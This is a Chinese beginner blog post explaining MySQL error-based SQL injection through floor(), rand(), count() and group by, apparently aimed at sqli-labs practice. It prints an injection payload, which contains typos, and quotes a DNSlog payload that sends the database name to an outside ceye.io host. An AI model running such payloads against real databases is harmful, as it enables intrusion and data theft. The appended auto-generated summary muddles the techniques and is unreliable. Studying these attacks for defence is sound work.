基于count,group by,rand报错的sql注入原理分析

新手向解释
原理:使用这些函数制造错误,把这个错误用concat和我们构造的查询语句合并起来,并让系统返回错误信息同时返回我们查询的信息。
以经典的floor注入语句为例:

kobe' and (select 2 from (select coint(*),conat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

精华:count 和 group by 一起用会建立一个虚拟表,再加入rand使之出现重复的key(主键值),导致报错。
详细原理分析:
https://blog.csdn.net/cried_cat/article/details/80022378


以后学会后一定回来补上自己的理解!

引用\[1\]: SQL注入是一种利用程序对用户输入的不当处理,从而在数据库中执行恶意代码的攻击方式。其中,闭合注入是一种常见的注入方式,通过闭合原有的SQL语句来执行新的SQL语句。在判断注入点时,可以使用order by语句来判断。例如,执行select name,id from student1 where id ='1' order by 3语句,如果成功回显,则说明存在注入点。\[1\] 引用\[2\]: 在SQL注入中,可以使用注释符号来绕过一些限制。例如,使用单引号进行闭合注入时,可以使用注释符号--来注释掉后面的内容。另外,还可以利用DNSlog注入来获取注入结果。构造如下payload:http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select database()),'.1cfto5.ceye.io\\abc'))--+\[2\] 引用\[3\]: SQL注入中的join原理是通过联合查询来获取更多的数据。在注入过程中,可以使用一些函数和语法来实现联合查询,如rand()、floor()、concat()、count()和group by等。同时,通过触发报错来获取更多的信息和数据。\[3\] 综上所述,SQL注入的join原理是通过闭合注入和联合查询来执行恶意代码,并利用一些函数和语法来获取更多的数据。同时,可以通过触发报错来获取更多的信息和数据。 #### 引用[.reference_title] - *1* *2* [一篇文章彻底学懂SQL注入(包含基础数据库句法、SQL注入原理以及所有常见SQL注入类型以及绕过手法)](https://blog.csdn.net/Acong_L/article/details/124634092)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [SQL注入:floor报错注入的形成原理分析](https://blog.csdn.net/qq_51789211/article/details/128677727)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值